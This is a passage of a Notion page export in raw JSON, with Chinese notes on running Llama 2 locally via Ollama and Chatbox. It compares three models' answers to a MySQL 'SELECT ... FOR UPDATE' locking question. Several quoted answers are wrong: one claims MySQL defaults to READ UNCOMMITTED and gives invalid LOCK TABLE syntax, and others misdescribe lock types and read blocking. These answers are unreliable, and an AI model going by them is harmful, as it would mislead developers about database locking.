4e3e-b833-b1f24a8acf97","d47a618f-cf90-4bc4-9557-6424452366d4","3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","74300add-803e-4d7c-8304-a821a5d5ab2c","8976a6ea-02cb-4bf3-a518-053203e7e9c1","f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","eb3dc7f4-4bfd-454f-b935-cde5ab908c41","c713c08c-2d0b-4eb1-8817-71fec58212ef","bbe523e1-53a1-45de-af58-03a940f59e85","4bcc27a3-8629-411b-be7a-75aea797e1ed","9a6f7759-0331-4d60-95e2-dc10c6cb87bd","da1b112d-857e-4b6f-bf49-b7f5208b24e4","87c6e6a2-d2e3-4a18-8637-efe4abd4560f","2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","9a7a6897-3dfa-4aa8-9636-234b3c0b6548","58fecf87-6dcf-43db-a9c7-538f413796f7","68f363f2-b183-4280-9abb-eab957c3db38","412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","7e5fed0f-7e6c-4eb0-957b-af7e801e764e","f8a5c31e-aaeb-4215-bece-5545539ec80b","e2239195-971a-4985-8fac-5b9ea90996c0","44061d98-d405-487a-b2a4-078279d3d999","702ec273-b848-45ae-9fab-0e7e445b8470","e8a8f505-3549-4ded-a263-991f5462efb2","42700ae9-2627-40a2-9d1d-f9ed715ab0dc","a28dd66e-5a77-4dfe-815b-474c1e36c0fb","c48d0617-98e9-4c69-8225-a3fc30c3d5b4","97118fdd-3e4d-4a05-8d1f-d4a942831683","29619cb8-1036-4c56-ad1d-44078669c26b","9b400751-4342-4a08-b4a4-df5993d548f1","36ff61ac-481c-4f1f-9f17-6966b6e9789e","aac21867-aa33-4037-93e3-03b5f0ca84f9","2834c258-d3b3-48ce-9e95-8a21b18053f8","6e0e38e9-7774-4f49-9fbb-67e52a21593d","61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","926cfd3e-8b8e-4b25-b780-3aedf4064879","9d06ce11-437e-4aef-8661-c6551d358cf5","eecdbd14-19a7-4050-ab78-a5c5044e1336","202e55b5-762e-4ef1-90b0-2cc0ae26a99b","995338cf-4874-48b5-a462-ea834bd6b31b","bd7b81b2-82bd-4a81-950c-37ebef55f856","009e62c7-e513-4e3e-a0bb-731c95f0d22a","8b44dcb2-d944-4983-9c68-ff1d8e23825b","f9d3a393-9d76-4add-88b5-3f03e58614af","440e5ba9-2309-4223-9df2-50ca1b67e237","04273a50-0752-4c70-a1c5-d63b004d565a","58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","e1da917b-bb71-4252-9f5f-d1c997b18551","9e9a91b1-4853-4e82-be32-ac8af17739b0","189b1da9-975a-42da-a706-02494cb76d01"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711360737075,"last_edited_time":1711432140447,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"bc73e0a0-0940-4595-9732-ab9c28cd26a7":{"value":{"id":"bc73e0a0-0940-4595-9732-ab9c28cd26a7","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"ba4103b9-8a3f-4c44-bda8-47b3722d4e15":{"value":{"id":"ba4103b9-8a3f-4c44-bda8-47b3722d4e15","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360833151,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"e8405e22-2319-4ec0-93b3-5a799df21fc4":{"value":{"id":"e8405e22-2319-4ec0-93b3-5a799df21fc4","type":"callout","properties":{"title":[["最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360921658,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc":{"value":{"id":"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","type":"text","format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632221,"last_edited_time":1711431632221,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2aa083b8-0726-4e50-bd4d-f857b5dd0316":{"value":{"id":"2aa083b8-0726-4e50-bd4d-f857b5dd0316","type":"header","properties":{"title":[["基础配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632800,"last_edited_time":1711431645914,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"45149c38-559d-414b-830f-c06c20da7dec":{"value":{"id":"45149c38-559d-414b-830f-c06c20da7dec","type":"sub_header","properties":{"title":[["ollama"]]},"created_time":1711431646306,"last_edited_time":1711431652969,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"281bb727-bba8-4f6e-a1ff-b55b6f76b39c":{"value":{"id":"281bb727-bba8-4f6e-a1ff-b55b6f76b39c","type":"bulleted_list","properties":{"title":[["直接去官网下载:"],["https://ollama.com/",[["a","https://ollama.com/"]]]]},"created_time":1711431759881,"last_edited_time":1711431794946,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"b64c746d-9c8c-458e-9292-2e365dea363b":{"value":{"id":"b64c746d-9c8c-458e-9292-2e365dea363b","type":"bulleted_list","properties":{"title":[["命令行运行ollama -h查看命令集"]]},"created_time":1711431795269,"last_edited_time":1711431821182,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b":{"value":{"id":"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","type":"bulleted_list","properties":{"title":[["查看本地模型列表:ollama list"]]},"created_time":1711431821391,"last_edited_time":1711431848208,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"db1102e6-f111-45af-96a4-db331284b95b":{"value":{"id":"db1102e6-f111-45af-96a4-db331284b95b","type":"bulleted_list","properties":{"title":[["下载并且运行模型:ollama run llama2:13b"]]},"created_time":1711431849867,"last_edited_time":1711431874747,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"78995c5e-a842-4a30-b1a9-3a93f7b37307":{"value":{"id":"78995c5e-a842-4a30-b1a9-3a93f7b37307","type":"image","properties":{"size":[["22.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.14055299539170507,"block_preserve_scale":true},"created_time":1711431901576,"last_edited_time":1711431905393,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["0ed7329d-d7fd-4a94-b61c-b320abce770b"]}},"5ea402bc-1e80-4e35-9b33-43c347bda5e7":{"value":{"id":"5ea402bc-1e80-4e35-9b33-43c347bda5e7","type":"sub_header","properties":{"title":[["chatbox"]]},"created_time":1711431654467,"last_edited_time":1711431658645,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"90137cb7-47e4-42a8-bd95-3be130d612a0":{"value":{"id":"90137cb7-47e4-42a8-bd95-3be130d612a0","type":"bulleted_list","properties":{"title":[["gpt的client端,支持多种模型,包括ollama本地运行的模型"]]},"created_time":1711431904161,"last_edited_time":1711431959299,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"5ed02535-d8e3-46f5-8efb-5e68003b6fec":{"value":{"id":"5ed02535-d8e3-46f5-8efb-5e68003b6fec","type":"bulleted_list","properties":{"title":[["地址:"],["https://github.com/Bin-Huang/chatbox",[["a","https://github.com/Bin-Huang/chatbox"]]]]},"created_time":1711431959516,"last_edited_time":1711431968578,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"426b70c6-f0fe-4849-b277-b986cc09a3eb":{"value":{"id":"426b70c6-f0fe-4849-b277-b986cc09a3eb","type":"bulleted_list","properties":{"title":[["内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器"]]},"created_time":1711432015229,"last_edited_time":1711432060152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"24e1ffff-e99e-4a8e-b080-f3948a289de8":{"value":{"id":"24e1ffff-e99e-4a8e-b080-f3948a289de8","type":"bulleted_list","properties":{"title":[["支持为每一个会话指定特殊的模型"]]},"created_time":1711431972909,"last_edited_time":1711431999240,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e":{"value":{"id":"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","type":"image","properties":{"size":[["55.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6438709677419355,"block_preserve_scale":true},"created_time":1711432011414,"last_edited_time":1711432015041,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["57a953d1-aa3b-4836-b7de-fa0eb70300f9"]}},"d52f61a6-9530-45cf-8e55-5822170d7448":{"value":{"id":"d52f61a6-9530-45cf-8e55-5822170d7448","type":"header","properties":{"title":[["模型对比"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431627441,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"5efbbd51-23a0-4cc2-b034-3da0b79430f7":{"value":{"id":"5efbbd51-23a0-4cc2-b034-3da0b79430f7","type":"sub_header","properties":{"title":[["promot\u0026question"]]},"created_time":1711431666810,"last_edited_time":1711431693171,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3fee6369-f3e1-4e3e-b833-b1f24a8acf97":{"value":{"id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","type":"quote","properties":{"title":[["promot:"]]},"content":["f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","765c2ea5-38db-401e-b852-a981010c0f96"],"created_time":1711432078852,"last_edited_time":1711432097278,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9":{"value":{"id":"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","type":"text","properties":{"title":[["你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。\n\nquestion:"]]},"created_time":1711432082528,"last_edited_time":1711432099043,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9":{"value":{"id":"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","type":"text","properties":{"title":[["select * from t where c=5 for update;"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"765c2ea5-38db-401e-b852-a981010c0f96":{"value":{"id":"765c2ea5-38db-401e-b852-a981010c0f96","type":"text","properties":{"title":[["but c not index,tell me the process of locking\nand the time of release lock"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"d47a618f-cf90-4bc4-9557-6424452366d4":{"value":{"id":"d47a618f-cf90-4bc4-9557-6424452366d4","type":"sub_header","properties":{"title":[["openai:3.5"]]},"created_time":1711361547854,"last_edited_time":1711431700585,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e":{"value":{"id":"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","type":"text","properties":{"title":[["When you run a query like "],["SELECT * FROM t WHERE c=5 FOR UPDATE;",[["c"]]],[" in MySQL on a column "],["c",[["c"]]],[" that is not indexed, MySQL will perform a full table scan to find the rows that match the condition "],["c=5",[["c"]]],[". During this process, MySQL will acquire a shared lock on all the rows it reads to prevent other transactions from modifying them."]]},"created_time":1711361625622,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"74300add-803e-4d7c-8304-a821a5d5ab2c":{"value":{"id":"74300add-803e-4d7c-8304-a821a5d5ab2c","type":"text","properties":{"title":[["Here is the general process of locking and the time of releasing the lock:"]]},"created_time":1711361625624,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8976a6ea-02cb-4bf3-a518-053203e7e9c1":{"value":{"id":"8976a6ea-02cb-4bf3-a518-053203e7e9c1","type":"numbered_list","properties":{"title":[["Shared (Read) Lock",[["b"]]],[": MySQL will acquire a shared (read) lock on the rows that match the condition "],["c=5",[["c"]]],[". This lock allows other transactions to read the locked rows but prevents them from modifying them."]]},"created_time":1711361625625,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422":{"value":{"id":"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","type":"numbered_list","properties":{"title":[["Exclusive (Write) Lock",[["b"]]],[": When you use "],["FOR UPDATE",[["c"]]],[" in your query, MySQL will upgrade the shared lock to an exclusive (write) lock on the matched rows. This exclusive lock prevents other transactions from both reading and writing to the locked rows until the transaction is either committed or rolled back."]]},"created_time":1711361625626,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb":{"value":{"id":"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","type":"numbered_list","properties":{"title":[["Time of Releasing Lock",[["b"]]],[": The lock acquired using "],["FOR UPDATE",[["c"]]],[" will be released when the current transaction is either committed or rolled back. If the transaction is rolled back, the lock will be released immediately. If the transaction is committed, the exclusive locks will be released at the end of the transaction."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eb3dc7f4-4bfd-454f-b935-cde5ab908c41":{"value":{"id":"eb3dc7f4-4bfd-454f-b935-cde5ab908c41","type":"text","properties":{"title":[["It's important to note that locking behavior can vary depending on the isolation level of the transaction and the specific MySQL configuration settings. Additionally, using "],["FOR UPDATE",[["c"]]],[" without an index on the column can lead to performance issues, especially on large tables, as it may result in full table scans and increased locking contention. Consider adding an index on column "],["c",[["c"]]],[" if this query is frequently used for better performance."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c713c08c-2d0b-4eb1-8817-71fec58212ef":{"value":{"id":"c713c08c-2d0b-4eb1-8817-71fec58212ef","type":"sub_header","properties":{"title":[["mistral:7b"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431703334,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"bbe523e1-53a1-45de-af58-03a940f59e85":{"value":{"id":"bbe523e1-53a1-45de-af58-03a940f59e85","type":"text","properties":{"title":[["Based on your SQL query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", it seems you are working with MySQL or a similar database management system. In this context, let's discuss the process of obtaining and releasing locks in relation to this query."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"4bcc27a3-8629-411b-be7a-75aea797e1ed":{"value":{"id":"4bcc27a3-8629-411b-be7a-75aea797e1ed","type":"text","properties":{"title":[["When you execute the query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", the database engine acquires a lock on the record(s) with column 'c' equal to 5, preventing other transactions from reading or updating those records until the current transaction is committed or rolled back. This process ensures data consistency and concurrency control."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a6f7759-0331-4d60-95e2-dc10c6cb87bd":{"value":{"id":"9a6f7759-0331-4d60-95e2-dc10c6cb87bd","type":"text","properties":{"title":[["The actual time of obtaining a lock depends on various factors such as network latency, server workload, and database configuration. Generally, it's considered to be an instantaneous operation once the query execution reaches that point. However, keep in mind that the actual query processing time and network transfer time might add significant delay."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"da1b112d-857e-4b6f-bf49-b7f5208b24e4":{"value":{"id":"da1b112d-857e-4b6f-bf49-b7f5208b24e4","type":"text","properties":{"title":[["As for releasing the lock, it happens automatically when the current transaction is committed or rolled back. Once the transaction has been finalized, the database engine releases the locks on the corresponding records, making them available to other transactions again."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"87c6e6a2-d2e3-4a18-8637-efe4abd4560f":{"value":{"id":"87c6e6a2-d2e3-4a18-8637-efe4abd4560f","type":"text","properties":{"title":[["Here's a simplified overview of the process:"]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28":{"value":{"id":"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","type":"numbered_list","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is executed."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a7a6897-3dfa-4aa8-9636-234b3c0b6548":{"value":{"id":"9a7a6897-3dfa-4aa8-9636-234b3c0b6548","type":"numbered_list","properties":{"title":[["The database engine locates the record(s) with 'c' equal to 5 and acquires a lock on them."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"58fecf87-6dcf-43db-a9c7-538f413796f7":{"value":{"id":"58fecf87-6dcf-43db-a9c7-538f413796f7","type":"numbered_list","properties":{"title":[["Once the query has finished processing those records, the transaction is committed or rolled back."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"68f363f2-b183-4280-9abb-eab957c3db38":{"value":{"id":"68f363f2-b183-4280-9abb-eab957c3db38","type":"numbered_list","properties":{"title":[["If the transaction is committed, the locks are released and made available for other transactions."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91":{"value":{"id":"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","type":"numbered_list","properties":{"title":[["If the transaction is rolled back, the locks are also released but any changes made during the transaction are discarded."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"7e5fed0f-7e6c-4eb0-957b-af7e801e764e":{"value":{"id":"7e5fed0f-7e6c-4eb0-957b-af7e801e764e","type":"sub_header","properties":{"title":[["llama2:4b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049479,"last_edited_time":1711361567824,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8a5c31e-aaeb-4215-bece-5545539ec80b":{"value":{"id":"f8a5c31e-aaeb-4215-bece-5545539ec80b","type":"text","properties":{"title":[["As a high-level software engineer, I'd be happy to help you with your question."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e2239195-971a-4985-8fac-5b9ea90996c0":{"value":{"id":"e2239195-971a-4985-8fac-5b9ea90996c0","type":"text","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is a common mechanism for acquiring a row-level lock on a table "],["t",[["c"]]],[" for the specified condition "],["c = 5",[["c"]]],[". When this query is executed, it will acquire an exclusive lock on the rows that match the condition, preventing any other concurrent updates or reads from accessing those rows until the lock is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"44061d98-d405-487a-b2a4-078279d3d999":{"value":{"id":"44061d98-d405-487a-b2a4-078279d3d999","type":"text","properties":{"title":[["The process of locking in this case involves the following steps:"]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"702ec273-b848-45ae-9fab-0e7e445b8470":{"value":{"id":"702ec273-b848-45ae-9fab-0e7e445b8470","type":"numbered_list","properties":{"title":[["The query is executed and a lock is acquired on the relevant rows."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e8a8f505-3549-4ded-a263-991f5462efb2":{"value":{"id":"e8a8f505-3549-4ded-a263-991f5462efb2","type":"numbered_list","properties":{"title":[["The lock is held by the thread that executed the query, preventing any other threads from acquiring the same lock until it is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"42700ae9-2627-40a2-9d1d-f9ed715ab0dc":{"value":{"id":"42700ae9-2627-40a2-9d1d-f9ed715ab0dc","type":"numbered_list","properties":{"title":[["The lock is released when the thread that executed the query completes its work and no longer needs the lock."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a28dd66e-5a77-4dfe-815b-474c1e36c0fb":{"value":{"id":"a28dd66e-5a77-4dfe-815b-474c1e36c0fb","type":"numbered_list","properties":{"title":[["Other threads can then acquire the lock and update or read the rows that were previously locked."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c48d0617-98e9-4c69-8225-a3fc30c3d5b4":{"value":{"id":"c48d0617-98e9-4c69-8225-a3fc30c3d5b4","type":"text","properties":{"title":[["The time of release lock depends on various factors, including the operating system, hardware, and database configuration. In general, the lock is released when the thread that executed the query completes its work and no longer needs the lock. This can happen immediately after the query is executed, or it may take some time depending on the complexity of the task and the availability of resources."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"97118fdd-3e4d-4a05-8d1f-d4a942831683":{"value":{"id":"97118fdd-3e4d-4a05-8d1f-d4a942831683","type":"text","properties":{"title":[["In MySQL, the default isolation level is "],["READ UNCOMMITTED",[["c"]]],[", which means that locks are acquired using the "],["FOR UPDATE",[["c"]]],[" clause. This allows other threads to read the rows while the first thread is updating them, but it does not guarantee that the second thread will see the updates made by the first thread before committing its changes."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"29619cb8-1036-4c56-ad1d-44078669c26b":{"value":{"id":"29619cb8-1036-4c56-ad1d-44078669c26b","type":"text","properties":{"title":[["If you want to acquire a lock on a specific row or set of rows without using the "],["FOR UPDATE",[["c"]]],[" clause, you can use the "],["LOCK TABLE",[["c"]]],[" statement in MySQL. This statement allows you to acquire an exclusive lock on a table for a specified period of time, preventing any other threads from accessing the table during that time."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9b400751-4342-4a08-b4a4-df5993d548f1":{"value":{"id":"9b400751-4342-4a08-b4a4-df5993d548f1","type":"text","properties":{"title":[["Here is an example of how to use "],["LOCK TABLE",[["c"]]],[" to acquire a lock on a specific row:"]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"36ff61ac-481c-4f1f-9f17-6966b6e9789e":{"value":{"id":"36ff61ac-481c-4f1f-9f17-6966b6e9789e","type":"code","properties":{"title":[["LOCK TABLE t FOR UPDATE OF c WHERE id = 5;\n"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"aac21867-aa33-4037-93e3-03b5f0ca84f9":{"value":{"id":"aac21867-aa33-4037-93e3-03b5f0ca84f9","type":"text","properties":{"title":[["This will acquire an exclusive lock on the row with "],["id = 5",[["c"]]],[" in the table "],["t",[["c"]]],[", preventing any other threads from updating or reading that row until the lock is 